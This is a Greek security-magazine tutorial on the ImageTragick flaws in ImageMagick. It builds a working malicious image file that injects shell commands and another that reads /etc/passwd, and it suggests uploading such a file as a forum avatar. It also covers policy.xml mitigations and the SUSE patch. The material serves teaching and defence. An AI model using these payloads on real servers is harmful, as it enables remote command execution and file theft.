Το προφίλ μας στο Google Plus
0

ImageTragick: Οπλισμός, Επιθέσεις, Προστασία

Μάθαμε για το πανταχού παρόν ImageMagick κι εξηγήσαμε σε τι οφείλεται η πρόσφατα ανακαλυφθείσα αδυναμία του. Είναι ώρα να δούμε πώς ένας επιτιθέμενος εκμεταλλεύεται τις αδυναμίες του πακέτου. Στη συνέχεια θα εξηγήσουμε πώς οι μηχανικοί διορθώνουν προβλήματα σαν αυτά του ImageMagick, παίρνοντας για λίγο το ρόλο ενός QA engineer.

Από τη στιγμή που το ImageMagick αποτυγχάνει να ελέγχει επαρκώς τα URLs προς εικόνες, επόμενο βήμα για έναν blackhat είναι η κατασκευή μιας εικόνας μέσα στην οποία θα περιλαμβάνεται κώδικας για εκτέλεση από υποψήφια μηχανήματα-στόχους. Όταν η συγκεκριμένη εικόνα θα ανεβαίνει σε server ο οποίος χρησιμοποιεί ευπαθή έκδοση του ImageMagick, τότε ο κακόβουλος κώδικας θα εκτελείται.

Πώς να κάνω το σύστημά μου ευπαθές;
Κατά την παρουσίασή μας, το πιθανότερο είναι να δοκιμάζετε όλα όσα δείχνουμε σε δικό σας σύστημα. Κάπως έτσι επιτυγχάνεται η γεφύρωση της θεωρίας με την πράξη, οπότε η γνώση δεν είναι απλά περαστική αλλά γίνεται κτήμα. Εν προκειμένω, το θέμα είναι πως το σύστημά σας πιθανώς να ‘ναι ενημερωμένο και συνεπώς προστατευμένο ως προς το ImageTragick. Τι γίνεται σε μια τέτοια περίπτωση; Μια λύση είναι να εργαζόμαστε σε VM, το οποίο σκόπιμα δεν είναι ενημερωμένο. Εναλλακτικά, καταφεύγοντας στο σύστημα package management της εκάστοτε διανομής Linux, είναι δυνατόν να υποβαθμίσουμε τα πακέτα του ImageMagick φροντίζοντας έτσι ώστε να έχουμε ευπαθείς εκδόσεις.

Είναι βέβαια απαραίτητο να γνωρίζουμε ποιες εκδόσεις είναι ευπαθείς καθώς κι από ποια έκδοση και μετά τα προβλήματα έχουν αντιμετωπιστεί. Ειδικά στο openSUSE Leap, προκειμένου να έχουμε έκδοση του ImageMagick με όλα τα bugs του ImageTragick, ξεκινάμε σημειώνοντας τις ακριβείς εκδόσεις των εγκατεστημένων πακέτων:

panos@ohsuse:~> zypper se Magick | grep "^i"
i | ImageMagick				| Viewer and...				| package   
i | libMagick++-6_Q16-3		| C++ Interface... - runtime library	| package   
i | libMagickCore-6_Q16-1	| Viewer and... - runtime library		| package   
i | libMagickWand-6_Q16-1	| Viewer and... - runtime library		| package

Μετά απομακρύνουμε τα σχετικά πακέτα:

panos@ohsuse:~> sudo zypper -n rm ImageMagick libMagick++-6_Q16-3 libMagickCore-6_Q16-1 libMagickWand-6_Q16-1

Είναι σημαντικό να διαγράψουμε και τον κατάλογο /etc/ImageMagick-6_Q16-1:

panos@ohsuse:~> sudo rm -fr /etc/ImageMagick*

Στη συνέχεια εγκαθιστούμε παλαιότερη έκδοση του ImageMagick, για την οποία γνωρίζουμε ότι είναι ευπαθής:

panos@ohsuse:~> sudo zypper -n in --oldpackage ImageMagick-6.8.8.1-6.1
panos@ohsuse:~> sudo zypper -n in --oldpackage libMagick++-6_Q16-3-6.8.8.1-6.1
panos@ohsuse:~> sudo zypper -n in --oldpackage libMagickCore-6_Q16-1-6.8.8.1-6.1
panos@ohsuse:~> sudo zypper -n in --oldpackage libMagickWand-6_Q16-1-6.8.8.1-6.1

Στο σημείο αυτό το openSUSE μας είναι ευπαθές και μπορούμε να προχωρήσουμε στους πειραματισμούς μας.

Image weaponization
Στο δεύτερο άρθρο της σειράς μας είδαμε έναν τρόπο κατά τον οποίο το ImageMagick υποχρεώνεται να εκτελέσει κώδικα, ο οποίος δεν θα έπρεπε να εκτελείται. Είναι ώρα να βασιστούμε στο CVE-2016–3714 και, καθαρά για εκπαιδευτικούς λόγους, να φτιάξουμε ένα exploit.

Έχουμε ήδη παρουσιάσει έναν τρόπο για την παράτυπη εκτέλεση κώδικα, οπότε τώρα λέμε να κάνουμε κάτι πιο επικίνδυνο: να κατασκευάσουμε μια κακόβουλη εικόνα. Για τους λόγους που εξηγήσαμε στο πρώτο μέρος της σειράς, θα δημιουργήσουμε μια εικόνα τύπου SVG. Όπως θα δούμε σε λίγο, θα είναι εύκολο να της προσθέσουμε κώδικα.

Με τον αγαπημένο μας editor (vim ή nano;) δημιουργούμε το νέο αρχείο ονόματι image.jpg. Πληκτρολογούμε το ακόλουθο περιεχόμενο:

push graphic-context
	viewbox 0 0 640 480
	fill 'url(https://i.imgur.com/u68Vakj.jpg"|ls "-al)'
pop graphic-context

Προφανώς, το νέο αρχείο δεν είναι JPEG αλλά SVG. Αποφασίζουμε όμως και δεν χρησιμοποιούμε την πραγματική κατάληξη που του αρμόζει, αφού πιστεύουμε ότι θα τραβούσε ευκολότερα τα βλέμματα. Μόλις λοιπόν οπλίσαμε την εικόνα μας, οπότε ας κάνουμε μια δοκιμή για να δούμε αν “λειτουργεί”.

panos@ohsuse:~/test> convert image.jpg image.png
total 8
drwxr-xr-x  2 panos users   88 May 20 09:55 .
drwxr-xr-x 23 panos users 4096 May 19 17:09 ..
-rw-r--r--  1 panos users    0 May 18 07:53 file1
-rw-r--r--  1 panos users    0 May 18 07:53 file2
-rw-r--r--  1 panos users    0 May 18 07:53 file3
-rw-r--r--  1 panos users    0 May 18 07:53 file4
-rw-r--r--  1 panos users    0 May 18 07:53 file5
-rw-r--r--  1 panos users  116 May 20 09:55 image.jpg
convert: unrecognized color `https://i.imgur.com/u68Vakj.jpg"|ls "-al' @ warning/color.c/GetColorCompliance/947.
convert: unable to open image `/tmp/magick-4656g5kjse1aOujq': No such file or directory @ error/blob.c/OpenBlob/2643.
convert: unable to open file `/tmp/magick-4656g5kjse1aOujq': No such file or directory @ error/constitute.c/ReadImage/594.
convert: non-conforming drawing primitive definition `fill' @ error/draw.c/DrawImage/3178.
panos@ohsuse:~/test> ls -la
total 12
drwxr-xr-x  2 panos users  105 May 20 09:55 .
drwxr-xr-x 23 panos users 4096 May 19 17:09 ..
-rw-r--r--  1 panos users    0 May 18 07:53 file1
-rw-r--r--  1 panos users    0 May 18 07:53 file2
-rw-r--r--  1 panos users    0 May 18 07:53 file3
-rw-r--r--  1 panos users    0 May 18 07:53 file4
-rw-r--r--  1 panos users    0 May 18 07:53 file5
-rw-r--r--  1 panos users  116 May 20 09:55 image.jpg
-rw-r--r--  1 panos users  387 May 20 09:55 image.png
panos@ohsuse:~/test>

Άψογα, το “ls -la” εκτελέστηκε, ενώ δημιουργήθηκε και το αρχείο image.png. Φυσικά, σε σενάριο όπου έχουμε έναν πραγματικά κακόβουλο χρήστη, δεν εκτελείται κάτι τόσο αθώο όσο το “ls -la”. Επίσης, αποτρέπεται και η έξοδος των μηνυμάτων λάθους. Τέλος, όπως θα μπορέσετε να δαπιστώσετε, στο παράδειγμά μας το αρχείο image.png είναι λευκό (Σ.τ.Ε. Like, literally). Σε ρεαλιστικά σενάρια οι επιτιθέμενοι επιθυμούν να μην κάνουν φανερή τη δράση ή/και την παρουσία τους, γεγονός που στην περίπτωσή μας σημαίνει ότι και κακόβουλος κώδικας εκτελείται και οι όποιες μετατροπές επιτυγχάνονται. Παρεμπιπτόντως, αν το bug που εξετάζουμε σάς φαίνεται ενδιαφέρον και θέλετε να παίξετε περισσότερο, έχετε υπόψη ότι έχει ήδη κυκλοφορήσει module για το Metasploit.

To CVE-2016–3714, για τα delegations του ImagaMagick, δεν εκδηλώνεται μόνο με το προγραμματάκι convert. Εδώ το βλέπουμε και μέσα από το εργαλείο display, επίσης του ImageMagick.

To CVE-2016–3714, για τα delegations του ImagaMagick, δεν εκδηλώνεται μόνο με το προγραμματάκι convert. Εδώ το βλέπουμε και μέσα από το εργαλείο display, επίσης του ImageMagick.

Proof of Concept και τροποποιήσεις
Η λίστα με τα κενά ασφαλείας που ολοκληρώνουν το πακέτο ονόματι ImageTragick, είναι η ακόλουθη:

1. CVE-2016-3714 - Insufficient shell characters filtering
2. CVE-2016-3715 - File Deletion
3. CVE-2016-3716 - File Moving
4. CVE-2016-3717 - Local File Read
5. CVE-2016-3718 - SSRF (Server-Side Request Forgery)

Αν έχετε διάθεση να μάθετε περισσότερα για τις συγκεκριμένες αδυναμίες –και κάτι μας λέει πως έχετε–, ξεκινήστε από την ακόλουθη σελίδα του Pastebin: http://pastebin.com/Gynz2XRG. Εκεί θα βρείτε τα πιο γνωστά Security Advisories, από τα οποία μάθαμε κι εμείς για το ImageTragick. Να σημειώσουμε ότι η επίσημη ανακοίνωση των developers του ImageMagick βρίσκεται στο http://bit.ly/grmgofan. Σας προτείνουμε να κάνετε τουλάχιστον μια ανάγνωση στα προαναφερθέντα URLs, ώστε να σχηματίσετε μiα πιο ολοκληρωμένη εικόνα για το ImageTragick. Μετά άλλωστε τα όσα συζητήσαμε και παρουσιάσαμε, θεωρούμε πως έχετε τις γνώσεις να προσεγγίσετε καλύτερα τα σχετικά κείμενα και να βγάλετε τα δικά σας συμπεράσματα.

Όλα τα παραπάνω υπάρχουν διαθέσιμα και σε PoC (Proof Of Concept), στο Github: https://github.com/ImageTragick/PoCs (για το documentation δείτε στο https://imagetragick.com). Σας προτείνουμε να κατεβάσετε τα PoCs και να τα δοκιμάσετε. Αυτό γίνεται πολύ πιο εύκολα απ’ όσο ακούγεται. Το μόνο που χρειαζόσαστε για να ξεκινήσετε είναι το εργαλείο git. Δείτε:

panos@ohsuse:~/test> git clone https://github.com/ImageTragick/PoCs
Cloning into 'PoCs'...
remote: Counting objects: 56, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 56 (delta 0), reused 0 (delta 0), pack-reused 53
Unpacking objects: 100% (56/56), done.
Checking connectivity... done.

Προκειμένου να εκτελέσετε τα PoCs μεταβείτε στον ομώνυμο κατάλογο (“cd PoCs”) και τρέξτε το script που θα βρείτε εκεί (“./test.sh”).

Το σύστημα των δοκιμών μας μόνο ασφαλές δεν είναι, ως προς τα προβλήματα του ImageTragick :/

Το σύστημα των δοκιμών μας μόνο ασφαλές δεν είναι, ως προς τα προβλήματα του ImageTragick :/

Όπως βλέπετε και στο σχετικό screenshot, το σύστημά μας κάθε άλλο παρά ασφαλές θεωρείται. Βέβαια αυτό είναι κάτι που το γνωρίζουμε, καθώς σκόπιμα δεν έχουμε αναβαθμίσει το ImageMagick στο openSUSE μας. Το πραγματικά ενδιαφέρον με το PoC που κατεβάσαμε, είναι ότι έχουμε ελεύθερη πρόσβαση στον κώδικά του. Αρκεί κάποιος να έχει βασικές γνώσεις προγραμματισμού –όχι κατ’ ανάγκη να γνωρίζει BASH scripting– και θα κατανοήσει εύκολα τι συμβαίνει.

Ας δούμε πώς είναι δυνατή η αξιοποίηση του CVE-2016-3717 (Local File Read). Το σχετικό bug βασίζεται στη δυνατότητα που έχει το ImageMagick να χρησιμοποιεί ως είσοδό του, την έξοδο κάποιας άλλης εντολής. Για παράδειγμα, δείχνουμε πώς το output της εντολής ifconfig γίνεται το περιεχόμενο μιας εικόνας PNG:

panos@ohsuse:~/test/PoCs> /sbin/ifconfig | convert label:@- output.png

Το Local File Read vulnerability βασίζεται στην ικανότητα του ImageMagick να δέχεται στην είσοδό του την έξοδο κάποιου άλλου προγράμματος. Στο παράδειγμα βλέπουμε τη δημιουργία μίας εικόνας PNG, η οποία απεικονίζει την έξοδο του εργαλείου ifconfig.

Το Local File Read vulnerability βασίζεται στην ικανότητα του ImageMagick να δέχεται στην είσοδό του την έξοδο κάποιου άλλου προγράμματος. Στο παράδειγμα βλέπουμε τη δημιουργία μίας εικόνας PNG, η οποία απεικονίζει την έξοδο του εργαλείου ifconfig.

Για τη συνέχεια ανοίγουμε το αρχείο test.sh και βρίσκουμε το κομμάτι του κώδικα που σχετίζεται με το “testing read”:

echo "testing read"
echo "Hello World" > readme
#echo "##### convert ######"
convert read.jpg readme.png 2>/dev/null 1>/dev/null
#echo "####################"
if [ ! -e readme.png ]
then
    echo "SAFE"
else
    echo "UNSAFE"
    rm readme.png
fi
rm readme
echo ""

Η λογική εδώ είναι ότι έχουμε μια κακόβουλη εικόνα, τη read.jpg, η οποία είναι φτιαγμένη για να εκμεταλλευτεί το συγκεκριμένο κενό ασφαλείας (δηλαδή το Local File read). Το read.jpg δεν είναι πραγματικό αρχείο JPEG, αλλά ένα SVG με το ακόλουθο περιεχόμενο:

panos@ohsuse:~/test/PoCs> cat read.jpg 
push graphic-context
  viewbox 0 0 640 480
  image over 0,0 0,0 'label:@readme'
popgraphic-context

Σύμφωνα με το σχετικό advisory το μυστικό κρύβεται στο ψεύτικο πρωτόκολλο του ImageMagick ονόματι “readme”, το οποίο στην ουσία διαβάζει το περιεχόμενο του ομώνυμου αρχείου. Για να έχει νόημα το συγκεκριμένο test, προϋποτίθεται η παρουσία του readme. Για αυτό, αν παρατηρήσετε μέσα στο test.sh, θα δείτε την ακόλουθη γραμμή:

echo "Hello World" > readme

Αν λοιπόν το exploit λειτουργήσει θα δημιουργηθεί μια εικόνα με όνομα readme.png, η οποία θα αποτελεί ένα screenshot από το αποτέλεσμα της εντολής “cat readme” (χωρίς τα εισαγωγικά). Φανταστείτε τώρα ότι ένας κακόβουλος χρήστης θέλει να δει τα περιεχόμενα του αρχείου /etc/password. Το μόνο που έχει να κάνει, είναι ν’ αλλάξει τον κώδικα του read.jpg ως εξής (προσέξτε την τρίτη γραμμή, την “image over”):

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
popgraphic-context

Αυτό ήταν, τόσο εύκολο. Τώρα, απλά δοκιμάστε να κάνετε convert την εικόνα σας:

panos@ohsuse:~/test/PoCs> convert read.jpg image.png
convert: non-conforming drawing primitive definition `popgraphic-context' @ error/draw.c/DrawImage/3178.

Αν δεν θέλετε να βλέπετε μηνύματα λάθους, απλά ανακατευθύνετέ τα στο /dev/null:

panos@ohsuse:~/test/PoCs> convert read.jpg image.png 2> /dev/null

Προκειμένου να επαληθεύσουμε ότι όλα λειτούργησαν κατά τα αναμενόμενα, αρκεί ν’ ανοίξουμε την εικόνα image.png και να παρατηρήσουμε αν τα περιεχόμενα του /etc/passwd απεικονίζονται σ’ αυτή.

panos@ohsuse:~/test/PoCs> display image.png

Ένα τρελό σενάριο θα ήταν να πάτε σε κάποιο forum και να δοκιμάσετε ν’ ανεβάσετε αυτή την εικόνα (read.jpg) ως avatar του χρήστη σας. Αν η πλατφόρμα χρησιμοποιεί το ImageMagick και δεν είναι patched, τότε θα καταλήξετε με εικόνα προφίλ τα περιεχόμενα του αρχείου /etc/passwd.

Σε ένα forum όπου το ImageMagick δεν είναι αναβαθμισμένο και παραμένει ευπαθές ως προς το CVE-2016-3717, το avatar του χρήστη μας θα μπορούσε να είναι τα περιεχόμενα του αρχείου /etc/passwd. Μιλάμε για το passwd στο απομακρυσμένο σύστημα, φυσικά ;)

Σε ένα forum όπου το ImageMagick δεν είναι αναβαθμισμένο και παραμένει ευπαθές ως προς το CVE-2016-3717, το avatar του χρήστη μας θα μπορούσε να είναι τα περιεχόμενα του αρχείου /etc/passwd. Μιλάμε για το passwd στο απομακρυσμένο σύστημα, φυσικά ;)

Πώς το φτιάχνω, χωρίς να περιμένω άλλον να το φτιάξει;
Κατ’ αρχάς, αν κάνετε τακτικά updates είναι σχεδόν βέβαιο ότι είστε ήδη προστατευμένοι ως προς το ImageTragick. Η αρχική λύση που προτάθηκε, πριν ακόμη βγουν τα απαραίτητα patches, ήταν να εφαρμοστούν κανόνες από το διαχειριστή του συστήματος έτσι ώστε να αποτρέπεται το delegation για https, http, mvg, label, ephemeral κι άλλες βιβλιοθήκες, όταν αυτές βρίσκονται μέσα σε αρχεία εικόνας. Προσέξτε: Μιλάμε τώρα για λύσεις που κάθε μάχιμος υπεύθυνος ασφαλείας σπεύδει κι εφαρμόζει, χωρίς να επαναπαύεται περιμένοντας απλά μια ουρανοκατέβατη λύση. Εν προκειμένω, η προτεινόμενη λύση υλοποιείται προσθέτοντας το παρακάτω κομμάτι κώδικα στο αρχείο /etc/ImageMagick*/policy.xml.

<policymap>
...
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="HTTP" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="FTP" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="TEXT" />
<policy domain="coder" rights="none" pattern="LABEL" />
<policy domain="path" rights="none" pattern="@*" />
</policymap>

Σε διανομές Linux που δεν διαθέτουν πρόσφατες εκδόσεις του ImageMagick (>= 7.0.1-0) αλλά τη legacy (<= 6.9.3-9), το αρχείο policy.xml απλά απουσιάζει και πρέπει ν’ αλλάξουν οι coders. Συγκεκριμένα, αλλάζουμε τις καταλήξεις κάποιων αρχείων, έτσι ώστε ακόμα κι όταν εκδηλώνεται το bug να μην ενεργοποιείται το delegation για τα αντίστοιχα image formats. Σε συστήματα 64bit μεταβαίνουμε στον κατάλογο /usr/lib64/ImageMagick-6.2.8/modules-Q16/coders, ενώ σε συστήματα 32bit στον κατάλογο /usr/lib/ImageMagick-6.2.8/modules-Q16/coders. Σε κάθε περίπτωση, φροντίζουμε για τις ακόλουθες μετονομασίες: mvg.so -> mvg.so.old, msl.so-> msl.so.old και label.so -> label.so.old.

Επαναλαμβάνουμε ότι τα προηγούμενα αποτελούν πρόχειρες ή αν θέλετε προσωρινές λύσεις, μέχρι να κυκλοφορήσουν τα επίσημα upstream patches των developers του ImageMagick. Τη στιγμή που γράφεται το παρόν έχουν ήδη κυκλοφορήσει και βρίσκονται στο http://legacy.imagemagick.org/script/changelog.php.

Κάπου εδώ, λογικό είναι κάποιοι ν’ αναρωτιούνται τι πρέπει να κάνουν, αν πρέπει να κάνουν κάτι, κάθε φορά που ένας upstream developer δημοσιεύει patches για το εργαλείο, τη βιβλιοθήκη ή την εφαρμογή που αναπτύσσει. Η αλήθεια είναι ότι οι περισσότεροι χρήστες αρκεί να περιμένουν το αντίστοιχο ενημερωμένο πακέτο για τη διανομή της. Το περιοδικό που διαβάζετε όμως ονομάζεται deltaHacker κι όχι deltaEndUser, οπότε θεωρούμε πως αρκετοί από εσάς ενδιαφέρονται να μαθαίνουν περισσότερα για όλα όσα συζητάμε. Εν προκειμένω, ίσως θα ήθελαν να γνωρίζουν ότι ο (καλός) maintainer κάθε διανομής ψαρεύει τα git commits που κρίνει ότι είναι καταλληλότερα για το σύστημα ευθύνης του, κι ακολούθως δημιουργεί το δικό του patch.

Στη δική μας περίπτωση, όπως ήδη αναφέραμε εργαζόμαστε σε σύστημα openSUSE Leap 42.1. Γνωρίζουμε ότι το openSUSE bug για το ImageTragick είναι το bnc#978061 και υπάρχει και σχετική ανακοίνωση στο https://www.suse.com/security/cve/CVE-2016-3714.html. Επειδή μας είναι αρκετά κουραστικό να ψάχνουμε κάθε φορά για το πώς μπορούμε να κάνουμε κάτι, έχουμε γράψει ένα script το οποίο βρίσκεται ακόμη υπό ανάπτυξη και διατίθεται από το Github του αρθρογράφου.

Τρέχοντας το bugpatch.sh διαπιστώσαμε ότι το σύστημά μας είναι ευπαθές, καθώς κι ότι χρειαζόμαστε το patch openSUSE-2016-574. Η εφαρμογή του patch γίνεται ως ακολούθως:

panos@ohsuse:~/test> sudo zypper install -t patch openSUSE-2016-574

Κατεβάζουμε και τρέχουμε το script ονόματι bugpatch.sh. Μετά από λίγο αποκαλύπτονται οι όποιες αδυναμίες έχει η εγκατάσταση του openSUSE μας. Αν έχει κάποιες (γνωστές) αδυναμίες, τότε μας δίνονται και οδηγίες για την εφαρμογή των αντίστοιχων patches (βλ. κάτω από το “How to fix it”).

Το πριν και το μετά
Για να δούμε τις αλλαγές που εφαρμόστηκαν και διόρθωσαν τα προβλήματα του ImageMagick, πρέπει να κατεβάσουμε το Source RPM της νέας έκδοσης και να κάνουμε diff με την παλιά. Όπως θα θυμόσαστε από το δεύτερο άρθρο της σειράς, έχουμε ήδη πάρει τον κώδικα της ευπαθούς έκδοσης κι αυτή τη στιγμή είναι στον κατάλογο /tmp/test/before. Ώρα να πάρουμε και τον κώδικα της νέας, διορθωμένης έκδοσης. Αυτόν θα τον αποθηκεύσουμε στον κατάλογο /tmp/test/after:

panos@ohsuse:~> cd /tmp/test/after
panos@ohsuse:/tmp/test/after> wget http://download.opensuse.org/update/leap/42.1/oss/src/ImageMagick-6.8.8.1-9.1.src.rpm
panos@ohsuse:/tmp/test/after> unrpm ImageMagick-6.8.8.1-9.1.src.rpm 
panos@ohsuse:/tmp/test/after> tar -xf ImageMagick-6.8.8-1.tar.xz
panos@ohsuse:/tmp/test/after> cd ..
panos@ohsuse:/tmp/test>

Προκειμένου να συγκρίνουμε τα δύο Source RPMs, καταφεύγουμε στο εργαλείο diff:

panos@ohsuse:/tmp/test> diff -Nur before/ after/ > source.diff

Μέσα στο αρχείο source.diff θα πρέπει λογικά να υπάρχουν οι διαφορές μεταξύ της παλιάς (προβληματικής) και της καινούριας (επιδιορθωμένης) έκδοσης του ImageMagick. Οι αλλαγές που οφείλονται σε προσθήκες σηματοδοτούνται με το σύμβολο “+”, ενώ οι αλλαγές που οφείλονται σε αφαίρεση με το σύμβολο “-“. Ανοίξτε το αρχείο με τον αγαπημένο σας editor (η καρδιά μας ανήκει στο vim):

panos@ohsuse:/tmp/test> vim source.diff

Παραθέτουμε το αποτέλεσμα της σύγκρισης έτοιμο, στον ακόλουθο σύνδεσμο: http://pastebin.com/UGB2pcjW. Εξετάζοντάς το, ανακαλύπτουμε τις αλλαγές που φέρνει το νέο πακέτο για τη διανομή μας: Αρχικά βλέπουμε ότι αλλάζει η ημερομηνία στο copyright, αφού η προηγούμενη έκδοση κυκλοφόρησε το 2015 και η καινούρια είναι η πρώτη αναβάθμιση για φέτος:

-# Copyright (c) 2015 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2016 SUSE LINUX GmbH, Nuernberg, Germany.

Στη συνέχεια εντοπίζουμε την αλλαγή της έκδοσης:

-Release:        6.1
+Release:        9.1

Ιδού και το patch που προστέθηκε και φτιάχνει το πρόβλημά του ImageTragick:

+Patch20:        ImageMagick-6.8.8-1-disable-insecure-coders.patch
...
+%patch20 -p1

Το ImageMagick εξάλλου μεταγλωττίστηκε με υποστήριξη εξωτερικού rsvg loader (ναι, ό,τι κι αν σημαίνει αυτό):

+  --with-rsvg=yes \

Στο changelog βλέπουμε μια περίληψη των αλλαγών:

%changelog
+* Wed May  4 2016 sflees@suse.de
+- Use external svg loader (rsvg)
+- Disable insecure coders [bnc#978061]
+  * ImageMagick-6.8.8-1-disable-insecure-coders.patch
+  * CVE-2016-3714
+  * CVE-2016-3715
+  * CVE-2016-3716
+  * CVE-2016-3717
+  * CVE-2016-3718

Τέλος, ρίχνουμε μία ματιά και στο patch:

--- before/ImageMagick-6.8.8-1-disable-insecure-coders.patch    1970-01-01 01:00:00.000000000 +0100
+++ after/ImageMagick-6.8.8-1-disable-insecure-coders.patch 2016-05-07 09:44:35.000000000 +0200
@@ -0,0 +1,23 @@
+Disable insecure loaders by default bsc#978061
+sflees@suse.de
+
+Index: ImageMagick-6.8.8-1/config/policy.xml
+===================================================================
+--- ImageMagick-6.8.8-1.orig/config/policy.xml 2013-01-14 14:57:39.000000000 +0100
++++ ImageMagick-6.8.8-1/config/policy.xml  2016-05-06 10:03:49.137177736 +0200
+@@ -56,4 +56,15 @@
+   <!-- <policy domain="resource" name="time" value="3600"/> -->
+   <!-- <policy domain="system" name="precision" value="6"/> -->
+   <policy domain="cache" name="shared-secret" value="passphrase"/>
++  <!-- Disable insecure coders by default -->
++  <!-- https://bugzilla.suse.com/show_bug.cgi?id=978061 -->
++  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
++  <policy domain="coder" rights="none" pattern="URL" />
++  <policy domain="coder" rights="none" pattern="HTTPS" />
++  <policy domain="coder" rights="none" pattern="MVG" />
++  <policy domain="coder" rights="none" pattern="MSL" />
++  <policy domain="coder" rights="none" pattern="TEXT" />
++  <policy domain="coder" rights="none" pattern="SHOW" />
++  <policy domain="coder" rights="none" pattern="WIN" />
++  <policy domain="coder" rights="none" pattern="PLT" />
+ </policymap>

Συνειδητοποιούμε ότι, στην ουσία, οι μηχανικοί της SUSE πήραν την προσωρινή λύση (workaround) που περιγράψαμε προηγουμένως κι έφτιαξαν ένα patch μ’ αυτή. Έτσι, ακόμη κι όσοι δεν επενέβησαν χειροκίνητα στο /etc/ImageMagick*/policy.xml, με το που θα κάνουν update στο openSUSE Leap (δίνοντας είτε “zypper up” είτε “zypper patch”), θα δουν τις αλλαγές στο policy.xml να εφαρμόζονται και θα είναι προστατευμένοι.

Καλό hacking σάς ευχόμαστε — και have fun!

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων